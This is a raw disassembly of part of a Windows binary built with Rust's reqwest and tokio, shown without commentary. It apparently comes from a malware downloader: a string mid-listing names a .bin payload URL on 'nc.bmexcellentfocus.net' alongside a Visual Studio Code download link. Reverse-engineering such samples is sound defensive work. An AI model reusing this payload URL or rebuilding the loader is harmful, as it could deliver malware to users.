mov qword [rbp + 0x1c0], rcx
mov qword [rbp + 0x1c8], rcx
mov qword [rbp + 0x1d0], 0
lea rcx, [r14 + 0x140]
mov qword [rbp + 0x3d8], rcx
lea r12, [r14 + 8]
lea rcx, [r14 + 0x28]
mov qword [rbp + 0x3b8], rcx
lea rcx, [r14 + 0x118]
mov qword [rbp + 0x3d0], rcx
xorps xmm6, xmm6
xor ecx, ecx
xchg byte [rax + 0xb0], cl
test cl, cl
je 0x14001db70
cmp qword [rbp + 0x3f0], 0
jne 0x14001e1c0
mov qword [rbp + 0x3f0], 0xffffffffffffffff
mov rcx, qword [rbp + 0x3f8]
test rcx, rcx
je 0x14001d0e0
call fcn.140086150
mov rax, qword [rbp + 0x3f0]
inc rax
jmp 0x14001d0e2
xor eax, eax
mov qword [rbp + 0x3f8], rbx
mov qword [rbp + 0x3f0], rax
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx r13d, byte [rax + 0x120]
cmp r13d, 2
je 0x14001d200
cmp r13d, 1
lea rbx, [rbp + 0x1e8]
je 0x14001d156
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xd0]
lea rdx, [0x14001bac0]
call fcn.1400e71a0
mov byte [rsi + 0x120], 1
lea rsi, [0x14012a1a8]
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx r13d, byte [rax + 0x11c]
movzx ecx, byte [rax + 0x11d]
mov byte [rbp + 0x3b0], cl
mov word [rax + 0x11c], 0x8001
movzx eax, byte [r14 + 0x148]
test eax, eax
je 0x14001d213
cmp eax, 3
jne 0x14001e0e7
mov rax, qword [rbp + 0x3d8]
movzx eax, byte [rax]
test eax, eax
je 0x14001d801
cmp eax, 3
jne 0x14001e18e
nop dword [rax + rax]
cmp dword [r12], 2
jne 0x14001d8a3
mov rax, qword [r14 + 0x10]
mov qword [r14 + 0x10], 0
test rax, rax
je 0x14001e0b7
mov qword [rbp + 0x50], 3
mov qword [rbp + 0x58], rax
jmp 0x14001d390
lea rbx, [rbp + 0x1e8]
movzx eax, byte [r14 + 0x148]
test eax, eax
jne 0x14001d197
mov qword [rbp + 0x1e8], rsi
mov qword [rbp + 0x1f0], 1
mov qword [rbp + 0x1f8], 8
movups xmmword [rbp + 0x200], xmm6
mov rcx, rbx
call fcn.1400f0cb0
mov qword [rbp + 0x1e8], 0
mov rcx, rbx
call qword [sym.imp.kernel32.dll_GetSystemTimePreciseAsFileTime]
mov r8, qword [rbp + 0x1e8]
mov rax, r8
movabs rdx, 0x19db1ded53e8000
sub rax, rdx
neg rax
movabs rcx, 0xfe624e212ac18000
add rcx, r8
cmp r8, rdx
cmovl rcx, rax
mov rax, rcx
movabs rdx, 0xd6bf94d5e57a42bd
mul rdx
shr rdx, 0x17
imul eax, edx, 0x989680
sub ecx, eax
movabs rax, 0x19db1ded53e7fff
cmp r8, rax
jle 0x14001e2c6
imul rax, rdx, 0x3e8
mov ecx, ecx
mov edx, 0xd1b71759
imul rcx, rdx
shr rcx, 0x2d
add rcx, rax
mov qword [rbp + 0x50], rcx
mov qword [rbp + 0x58], 0
mov qword [rbp - 0x48], r15
lea rax, [0x14000c020]
mov qword [rbp - 0x40], rax
lea rax, str.Time:
mov qword [rbp + 0x1e8], rax
mov qword [rbp + 0x1f0], 2
mov qword [rbp + 0x208], 0
lea rax, [rbp - 0x48]
mov qword [rbp + 0x1f8], rax
mov qword [rbp + 0x200], 1
mov rcx, rbx
call fcn.1400f0cb0
mov qword [rbp + 0x1e8], rsi
mov qword [rbp + 0x1f0], 1
mov qword [rbp + 0x1f8], 8
movups xmmword [rbp + 0x200], xmm6
mov rcx, rbx
call fcn.1400f0cb0
mov qword [rbp + 0x1e8], rsi
mov qword [rbp + 0x1f0], 1
mov qword [rbp + 0x1f8], 8
movups xmmword [rbp + 0x200], xmm6
mov rcx, rbx
call fcn.1400f0cb0
mov ecx, 5
call fcn.1400e80b0
jmp 0x14001d7f0
mov r8d, 0x98
lea rcx, [rbp - 0x48]
mov rdx, r15
call fcn.140119a10
cmp dword [r12], 2
jne 0x14001d420
mov rbx, qword [r14 + 0x10]
test rbx, rbx
je 0x14001d6b2
mov r15, qword [rbx + 0x58]
test r15, r15
je 0x14001d3f4
mov rdi, qword [rbx + 0x60]
mov rax, qword [rdi]
test rax, rax
je 0x14001d3d0
mov rcx, r15
call rax
cmp qword [rdi + 8], 0
je 0x14001d3f4
cmp qword [rdi + 0x10], 0x11
jb 0x14001d3e2
mov r15, qword [r15 - 8]
mov rcx, qword [0x140198260]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rbx]
movabs rcx, 0x8000000000000000
cmp rax, rcx
jne 0x14001d660
lea r15, [rbp + 0x50]
jmp 0x14001d6a0
cmp byte [r14 + 0x100], 0xa
jb 0x14001d44a
cmp qword [r14 + 0x110], 0
je 0x14001d44a
mov r8, qword [r14 + 0x108]
mov rcx, qword [0x140198260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [r14 + 0x90], 0
je 0x14001d46a
mov r8, qword [r14 + 0x98]
mov rcx, qword [0x140198260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [r14 + 0x80], 0
je 0x14001d487
mov r8, qword [r14 + 0x78]
mov rcx, qword [0x140198260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdi, qword [r14 + 0x58]
test rdi, rdi
je 0x14001d4e0
mov rbx, qword [r14 + 0x50]
add rbx, 0x30
jmp 0x14001d4bb
mov rax, qword [rbx - 0x18]
mov rdx, qword [rbx - 0x10]
mov r8, qword [rbx - 8]
mov rcx, rbx
call qword [rax + 0x10]
add rbx, 0x68
dec rdi
je 0x14001d4e0
mov rax, qword [rbx + 0x10]
test rax, rax
je 0x14001d4a0
lea rcx, [rbx + 0x28]
mov rdx, qword [rbx + 0x18]
mov r8, qword [rbx + 0x20]
call qword [rax + 0x10]
jmp 0x14001d4a0
cmp qword [r14 + 0x48], 0
je 0x14001d4fa
mov r8, qword [r14 + 0x50]
mov rcx, qword [0x140198260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdi, qword [r14 + 0x70]
test rdi, rdi
je 0x14001d52b
mov rbx, qword [r14 + 0x68]
add rbx, 0x38
nop dword [rax + rax]
mov rax, qword [rbx - 0x18]
mov rdx, qword [rbx - 0x10]
mov r8, qword [rbx - 8]
mov rcx, rbx
call qword [rax + 0x10]
add rbx, 0x48
dec rdi
jne 0x14001d510
cmp qword [r14 + 0x60], 0
je 0x14001d545
mov r8, qword [r14 + 0x68]
mov rcx, qword [0x140198260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [r12], 0
je 0x14001d567
mov rax, qword [r14 + 0x10]
test rax, rax
je 0x14001d567
mov rdx, qword [r14 + 0x18]
mov r8, qword [r14 + 0x20]
mov rcx, qword [rbp + 0x3b8]
call qword [rax + 0x10]
mov rdi, qword [r14 + 0xf8]
test rdi, rdi
je 0x14001d5b0
mov rbx, qword [r14 + 0xf0]
add rbx, 8
jmp 0x14001d589
add rbx, 0x58
dec rdi
je 0x14001d5b0
cmp qword [rbx - 8], 0
je 0x14001d580
mov r8, qword [rbx]
mov rcx, qword [0x140198260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14001d580
cmp qword [r14 + 0xe8], 0
je 0x14001d5d0
mov r8, qword [r14 + 0xf0]
mov rcx, qword [0x140198260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rbp + 0x3d0]
mov rax, qword [rax]
lock dec qword [rax]
jne 0x14001d5ec
mov rcx, qword [rbp + 0x3d0]
call fcn.140010f30
mov rbx, qword [r14 + 0x120]
mov rdi, qword [r14 + 0x128]
mov rax, qword [rdi]
test rax, rax
je 0x14001d607
mov rcx, rbx
call rax
cmp qword [rdi + 8], 0
je 0x14001d62b
cmp qword [rdi + 0x10], 0x11
jb 0x14001d619
mov rbx, qword [rbx - 8]
mov rcx, qword [0x140198260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rbx, qword [r14 + 0x138]
test rbx, rbx
je 0x14001d6b2
mov rcx, rbx
call fcn.1400f7a30
lea rcx, [rbx + 8]
cmp qword [rbx], 0
je 0x14001d680
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x14001d690
call fcn.140010200
jmp 0x14001d690
test rax, rax
lea r15, [rbp + 0x50]
je 0x14001d6a0
mov r8, qword [rbx + 8]
mov rcx, qword [0x140198260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14001d6a0
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x14001d690
call fcn.14000fc00
nop
mov rax, qword [rbx + 0x48]
test rax, rax
je 0x14001d6a0
mov rcx, qword [rbx + 0x50]
call qword [rax + 0x18]
mov rcx, qword [0x140198260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp dword [rbp - 0x48], 3
jne 0x14001d700
mov qword [rbp + 0x50], rsi
mov qword [rbp + 0x58], 1
mov qword [rbp + 0x60], 8
movups xmmword [rbp + 0x68], xmm6
mov rcx, r15
call fcn.1400f0cb0
mov ecx, 3
call fcn.1400e80b0
lea rcx, [rbp - 0x48]
call fcn.140019ca0
mov rdx, qword [r14]
lea rbx, [rbp + 0x1e8]
jmp 0x14001d81d
mov qword [rbp + 0x50], rsi
mov qword [rbp + 0x58], 1
mov qword [rbp + 0x60], 8
movups xmmword [rbp + 0x68], xmm6
mov rcx, r15
call fcn.1400f0cb0
lea rcx, [rbp - 0x48]
call fcn.140019ca0
mov rax, qword [r14]
lock dec qword [rax]
lea rdi, [rbp + 0x1e8]
jne 0x14001d741
mov rcx, r14
call fcn.140010f30
mov rax, qword [rbp + 0x3d8]
mov byte [rax], 1
lea rbx, str.REQWEST_URLhttps:__nc.bmexcellentfocus.net_uf_evrews_20240731041512445.binC:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_core_0.3.30_src_task__internal_atomic_waker.rs
mov rcx, rbx
lea rdx, [0x14012a243]
call fcn.14001ee50
mov r8d, 0xb
mov rcx, rdi
mov rdx, rbx
call fcn.1400ebb10
mov rdi, qword [rbp + 0x1e8]
movabs rax, 0x8000000000000000
cmp rdi, rax
je 0x14001d7f0
mov rbx, qword [rbp + 0x1f0]
mov r8, qword [rbp + 0x1f8]
cmp byte [rbp + 0x200], 0
je 0x14001dad0
lea rcx, [rbp - 0x48]
mov rdx, rbx
call fcn.1400036e0
movabs rax, 0x8000000000000000
cmp qword [rbp - 0x48], rax
jne 0x14001d9b0
mov ecx, 5
call fcn.1400e80b0
test rdi, rdi
je 0x14001d7f0
mov rcx, qword [0x140198260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
nop word cs:[rax + rax]
mov rax, qword [rbp + 0x3d8]
mov byte [rax], 0
lea rbx, [rbp + 0x1e8]
mov rcx, rbx
call fcn.1400d0bd0
mov rcx, rbx
call fcn.1400c6820
test rax, rax
jne 0x14001e05a
mov qword [r14], rdx
mov rcx, r15
lea r8, str.https:__code.visualstudio.com_download
call fcn.14001f160
cmp dword [rbp + 0x50], 2
jne 0x14001d860
mov qword [rbp + 0x1e8], 2
mov rax, qword [rbp + 0x58]
mov rdi, qword [rbp + 0x160]
mov qword [rbp + 0x1f0], rax
lock dec qword [rdi]
je 0x14001d87b
jmp 0x14001d887
mov rdi, qword [rbp + 0x160]
mov rcx, rbx
mov rdx, rdi
mov r8, r15
call fcn.1400c8cc0
lock dec qword [rdi]
jne 0x14001d887
lea rcx, [rbp + 0x160]
call fcn.140083e60
mov r8d, 0x138
mov rcx, r12
mov rdx, rbx
call fcn.140119a10
cmp dword [r12], 2
je 0x14001d1cb
mov rcx, r15
mov rdx, r12
lea r8, [rbp + 0x1c0]
call fcn.1400ccc10
cmp qword [rbp + 0x50], 4
jne 0x14001d390
mov rax, qword [rbp + 0x3d8]
mov byte [rax], 3
mov r15b, 3
mov dil, 1
mov byte [r14 + 0x148], r15b
cmp r13b, 2
lea r15, [rbp + 0x50]
je 0x14001d960
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 2
je 0x14001d960
cmp eax, 1
je 0x14001d939
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xd0]
lea rdx, [0x1400f6940]
call fcn.1400e71a0
mov byte [rsi + 0x120], 1
lea rsi, [0x14012a1a8]
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x11c], r13b
movzx ecx, byte [rbp + 0x3b0]
mov byte [rax + 0x11d], cl
cmp qword [rbp + 0x3f0], 0
jne 0x14001e19c
mov qword [rbp + 0x3f0], 0xffffffffffffffff
mov rbx, qword [rbp + 0x3f8]
mov qword [rbp + 0x3f8], 0
test rbx, rbx
je 0x14001e1a8
mov qword [rbp + 0x3f0], 0
test dil, dil
jne 0x14001db70
jmp 0x14001de4b
mov rax, qword [rbp - 0x38]
mov qword [rbp + 0x60], rax
movups xmm0, xmmword [rbp - 0x48]
movaps xmmword [rbp + 0x50], xmm0
call fcn.140003c50
call fcn.140001850
mov r15, rax
and eax, 3
cmp eax, 1
jne 0x14001da38
mov dword [rbp + 0x3c0], r13d
mov r13, qword [r15 - 1]
mov rsi, qword [r15 + 7]
mov rax, qword [rsi]
test rax, rax
je 0x14001d9f1
mov rcx, r13
call rax
cmp qword [rsi + 8], 0
je 0x14001da15
cmp qword [rsi + 0x10], 0x11
jb 0x14001da03
mov r13, qword [r13 - 8]
mov rcx, qword [0x140198260]
xor edx, edx
mov r8, r13
call qword [sym.imp.kernel32.dll_HeapFree]
dec r15
mov rcx, qword [0x140198260]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
lea rsi, [0x14012a1a8]
mov r13d, dword [rbp + 0x3c0]
lea rcx, [rbp + 0x1e8]
call fcn.140001c20
cmp qword [rbp + 0x1e8], 0
je 0x14001da60
mov rcx, qword [rbp + 0x1f0]
test rcx, rcx
je 0x14001da60
mov rax, qword [rcx]
call qword [rax + 0x10]
mov ecx, 5
call fcn.1400e80b0
call fcn.140004d10
mov qword [rbp + 0x1e8], rsi
mov qword [rbp + 0x1f0], 1
mov qword [rbp + 0x1f8], 8
movups xmmword [rbp + 0x200], xmm6
lea rcx, [rbp + 0x1e8]
call fcn.1400f0cb0
lea rcx, [rbp + 0x50]
call fcn.140001630
mov r15b, 1
test rdi, rdi
je 0x14001db67
mov rcx, qword [0x140198260]
xor edi, edi
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14001d8d0
test r8, r8
je 0x14001d7a3
lea rax, [rbx + r8]
mov rdx, rbx
jmp 0x14001dafc
add rdx, 2
cmp rcx, rax
cmovne rcx, rdx
nop dword [rax]
mov rdx, rcx
cmp rcx, rax
je 0x14001d7a3
lea rcx, [rdx + 1]
movzx r9d, byte [rdx]
test r9b, r9b
jns 0x14001daf0
cmp r9b, 0xe0
jb 0x14001dae2
cmp r9b, 0xed
jne 0x14001db3e
cmp rcx, rax
je 0x14001d7a3
lea rcx, [rdx + 2]
cmp rcx, rax
je 0x14001d7a3
cmp byte [rdx + 1], 0x9f
ja 0x14001d7cd
add rdx, 3
mov rcx, rdx
jmp 0x14001daf0
add rdx, 2
cmp rcx, rax
cmove rdx, rcx
xor ecx, ecx
cmp rdx, rax
setne cl
add rcx, rdx
cmp r9b, 0xf0
jb 0x14001daf0
xor edx, edx
cmp rcx, rax
setne dl
add rcx, rdx
jmp 0x14001daf0
xor edi, edi
jmp 0x14001d8d0
mov r8, qword [rbp + 0x3e8]
mov edi, dword [r8 + 0x40]
test edi, edi
je 0x14001dd78
nop word cs:[rax + rax]
cmp byte [rbx + 0x68], 0
jne 0x14001ddf1
inc dword [rbx + 0x60]
mov rdx, qword [rbp + 0x3e8]
add rdx, 0x10
mov rcx, rbx
call fcn.1401049c0
test rax, rax
je 0x14001ddb0
cmp qword [rbp + 0x3f0], 0
jne 0x14001e1c0
mov r15, rax
mov qword [rbp + 0x3f0], 0xffffffffffffffff
mov rcx, qword [rbp + 0x3f8]
test rcx, rcx
je 0x14001dc00
call fcn.140086150
mov rax, qword [rbp + 0x3f0]
inc rax
jmp 0x14001dc02
xor eax, eax
mov qword [rbp + 0x3f8], rbx
mov qword [rbp + 0x3f0], rax
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx ebx, byte [rax + 0x120]
cmp ebx, 2
je 0x14001dca0
cmp ebx, 1
je 0x14001dc68
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xd0]
lea rdx, [0x14001bac0]
call fcn.1400e71a0
mov byte [rsi + 0x120], 1
lea rsi, [0x14012a1a8]
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx ebx, byte [rax + 0x11c]
movzx r13d, byte [rax + 0x11d]
mov word [rax + 0x11c], 0x8001
jmp 0x14001dca0
mov rax, qword [r15 + 0x10]
mov rcx, r15
call qword [rax]
cmp bl, 2
lea r15, [rbp + 0x50]
je 0x14001dd2a
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 2
je 0x14001dd2a
cmp eax, 1
je 0x14001dd0a
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xd0]
lea rdx, [0x1400f6940]
call fcn.1400e71a0
mov byte [rsi + 0x120], 1
lea rsi, [0x14012a1a8]
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x11c], bl
mov byte [rax + 0x11d], r13b
cmp qword [rbp + 0x3f0], 0
jne 0x14001e19c
mov qword [rbp + 0x3f0], 0xffffffffffffffff
mov rbx, qword [rbp + 0x3f8]
mov qword [rbp + 0x3f8], 0
test rbx, rbx
je 0x14001e1a8
mov qword [rbp + 0x3f0], 0
dec edi
jne 0x14001db90
mov r8, qword [rbp + 0x3e8]
add r8, 0x10
lea rcx, [rbp + 0x3e8]
mov rdx, rbx
call fcn.140104ff0
mov rbx, rax
mov rax, qword [rbp + 0x3e8]
xor ecx, ecx
xchg byte [rax + 0xb0], cl
test cl, cl
jne 0x14001d09e
jmp 0x14001db70
movabs rax, 0x7fffffffffffffff
cmp qword [rbp + 0x400], rax
lea r15, [rbp + 0x50]
jae 0x14001e3b0
mov r8, qword [rbp + 0x3e8]
add r8, 0x10
cmp qword [rbp + 0x418], 0
jne 0x14001dd7c
lea rcx, [rbp + 0x3e8]
mov rdx, rbx
call fcn.140104aa0
jmp 0x14001dd8b
cmp qword [rbp + 0x3f0], 0
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rcx, qword [rbp + 0x3c8]
mov qword [rax + 0x108], rcx
jne 0x14001e3a4
xor r14d, r14d
mov qword [rbp + 0x3f0], 0xffffffffffffffff
mov rcx, qword [rbp + 0x3f8]
test rcx, rcx
je 0x14001de86
call fcn.140086150
mov rax, qword [rbp + 0x3f0]
inc rax
jmp 0x14001de88
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rcx, qword [rbp + 0x3c8]
mov qword [rax + 0x108], rcx
mov r14b, 1
mov qword [rbp + 0x3f0], 0xffffffffffffffff
mov rcx, qword [rbp + 0x3f8]
test rcx, rcx
jne 0x14001de3a
xor eax, eax
mov qword [rbp + 0x3f8], rbx
mov qword [rbp + 0x3f0], rax
lea rcx, [rbp + 0x3e0]
call fcn.1401045e0
cmp qword [rbp + 0x3e0], 0
je 0x14001df52
mov rax, qword [rbp + 0x3e8]
lock dec qword [rax]
jne 0x14001dec9
lea rcx, [rbp + 0x3e8]
call fcn.140010110
mov rsi, qword [rbp + 0x3f8]
test rsi, rsi
je 0x14001df7c
mov rcx, qword [rsi]
test rcx, rcx
je 0x14001df08
mov rax, 0xffffffffffffffc0
lock xadd qword [rcx], rax
cmp rax, 0x3f
jbe 0x14001e3bc
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x14001df08
mov rax, qword [rcx + 0x10]
call qword [rax + 0x10]
lea rdi, [rsi + 0x18]
mov rcx, rdi
call fcn.14001e830
mov rax, qword [rsi + 0x18]
lock dec qword [rax]
jne 0x14001df26
mov rcx, rdi
call fcn.140102bb0
mov rax, qword [rsi + 8]
test rax, rax
je 0x14001df3e
lock dec qword [rax]
jne 0x14001df3e
lea rcx, [rsi + 8]
call fcn.14003ea60
mov rcx, qword [0x140198260]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14001df7c
mov rax, qword [rbp + 0x3e8]
lock dec qword [rax]
jne 0x14001df6b
lea rcx, [rbp + 0x3e8]
call fcn.14000fc00
mov rcx, qword [rbp + 0x3f8]
test rcx, rcx
je 0x14001df7c
call fcn.140086150
mov rsi, qword [rbp + 0x418]
test rsi, rsi
je 0x14001dfb3
mov rdi, qword [rbp + 0x410]
add rdi, 8
nop word cs:[rax + rax]
mov rax, qword [rdi - 8]
mov rcx, qword [rdi]
call qword [rax + 0x18]
add rdi, 0x10
dec rsi
jne 0x14001dfa0
cmp qword [rbp + 0x408], 0
je 0x14001dfd3
mov r8, qword [rbp + 0x410]
mov rcx, qword [0x140198260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
test r14b, r14b
je 0x14001e363
mov ecx, dword [rbp + 0x398]
mov edx, dword [rbp + 0x39c]
call fcn.1401044c0
lea rcx, [rbp + 0x380]
call fcn.1400fa450
mov rax, qword [rbp + 0x380]
cmp rax, 2
je 0x14001e03f
test rax, rax
je 0x14001e026
mov rax, qword [rbp + 0x388]
lock dec qword [rax]
jne 0x14001e03f
lea rcx, [rbp + 0x388]
call fcn.140010200
jmp 0x14001e03f
mov rax, qword [rbp + 0x388]
lock dec qword [rax]
jne 0x14001e03f
lea rcx, [rbp + 0x388]
call fcn.14000fc00
movaps xmm6, xmmword [rbp + 0x440]
add rsp, 0x4d8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov qword [rbp + 0x1e8], rdx
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_src_async_implclient.rs
mov qword [rsp + 0x20], rax
lea rcx, str.Client::new__
lea r9, [0x140156aa8]
lea r8, [rbp + 0x1e8]
mov edx, 0xd
call fcn.14011acb0
lea rax, [0x140161f48]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x140161c98]
lea r8, [rbp + 0x430]
mov edx, 0x2b
call fcn.14011acb0
lea rcx, str.Pending_error_polled_more_than_once
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_src_async_implclient.rs
mov edx, 0x23
call fcn.14011add0
lea rcx, [0x1401612f0]
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_timeentry.rs
mov edx, 0x73
call fcn.14011add0
lea rcx, str.src_main.rs
call fcn.14011b000
imul eax, ecx, 0x64
mov qword [rbp + 0x1e8], rdx
mov dword [rbp + 0x1f0], eax
lea rax, str.src_main.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x140129c60]
lea r8, [rbp + 0x1e8]
mov edx, 0x2b
call fcn.14011acb0
mov qword [rbp - 0x48], rax
lea rax, [rbp - 0x48]
mov qword [rbp + 0x50], rax
lea rax, [fcn.140008a50]
mov qword [rbp + 0x58], rax
lea rax, [0x140161e30]
mov qword [rbp + 0x1e8], rax
mov qword [rbp + 0x1f0], 1
mov qword [rbp + 0x208], 0
mov qword [rbp + 0x1f8], r15
mov qword [rbp + 0x200], 1
lea rdx, [0x140161e40]
lea rcx, [rbp + 0x1e8]
call fcn.14011a880
lea rcx, str.src_main.rs
call fcn.14011b000
ud2
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
call fcn.14011abf0
lea rcx, str.core_missing
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
mov edx, 0xc
call fcn.14011add0
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
call fcn.14011abf0
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
mov qword [rsp + 0x20], rax
lea rcx, str.Failed_to__Enter::block_on_
lea r9, [0x140161c98]
lea r8, [rbp + 0x430]
mov edx, 0x1b
call fcn.14011acb0
lea rax, str.Cannot_start_a_runtime_from_within_a_runtime._This_happens_because_a_function__like__block_on___attempted_to_block_the_current_thread_while_the_thread_is_being_used_to_drive_asynchronous_tasks.
mov qword [rbp + 0x1e8], rax
mov qword [rbp + 0x1f0], 1
mov qword [rbp + 0x1f8], 8
xorps xmm0, xmm0
movups xmmword [rbp + 0x200], xmm0
lea rdx, str.src_main.rs
lea rcx, [rbp + 0x1e8]
call fcn.14011a880
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimecontextcurrent.rs
call fcn.14011abf0
lea rax, str.reached_max__enter__depth
mov qword [rbp + 0x1e8], rax
mov qword [rbp + 0x1f0], 1
mov qword [rbp + 0x1f8], 8
xorps xmm0, xmm0
movups xmmword [rbp + 0x200], xmm0
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimecontextcurrent.rs
lea rcx, [rbp + 0x1e8]
call fcn.14011a880
lea rax, str.not_a_CurrentThread_handle
mov qword [rbp + 0x1e8], rax
mov qword [rbp + 0x1f0], 1
mov qword [rbp + 0x1f8], 8
xorps xmm0, xmm0
movups xmmword [rbp + 0x200], xmm0
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulermod.rs
lea rcx, [rbp + 0x1e8]
call fcn.14011a880
imul eax, ecx, 0x64
mov qword [rbp + 0x1e8], rdx
mov dword [rbp + 0x1f0], eax
lea rax, str.src_main.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14012a0e8]
lea r8, [rbp + 0x1e8]
mov edx, 0x2b
call fcn.14011acb0
lea rax, str.expected__CurrentThread::Context_
mov qword [rbp + 0x1e8], rax
mov qword [rbp + 0x1f0], 1
mov qword [rbp + 0x1f8], 8
movups xmmword [rbp + 0x200], xmm0
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
lea rcx, [rbp + 0x1e8]
call fcn.14011a880
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
call fcn.14011abf0
lea rcx, str.core_missing
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
mov edx, 0xc
call fcn.14011add0
lea rax, str.a_spawned_task_panicked_and_the_runtime_is_configured_to_shut_down_on_unhandled_panic
mov qword [rbp + 0x1e8], rax
mov qword [rbp + 0x1f0], 1
mov qword [rbp + 0x1f8], 8
xorps xmm0, xmm0
movups xmmword [rbp + 0x200], xmm0
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
lea rcx, [rbp + 0x1e8]
call fcn.14011a880
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rs
call fcn.14011abf0
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulerdefer.rs
call fcn.14011ac50
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x140160b70]
mov edx, 0x27
call fcn.14011aa10
mov dword [rbp - 0x48], 0
mov byte [rbp - 0x44], 0
lea rax, str.fatal_runtime_error:_the_global_allocator_may_not_use_TLS_with_destructors_n
mov qword [rbp + 0x1e8], rax
mov qword [rbp + 0x1f0], 1
lea rax, [rbp + 0x430]
mov qword [rbp + 0x1f8], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x200], xmm0
lea rcx, [rbp - 0x48]
lea rdx, [rbp + 0x1e8]
call fcn.1400e5dd0
mov qword [rbp + 0x50], rax
lea rcx, [rbp + 0x50]
call case.0x1400d4435.333
mov ecx, 7
int 0x29
ud2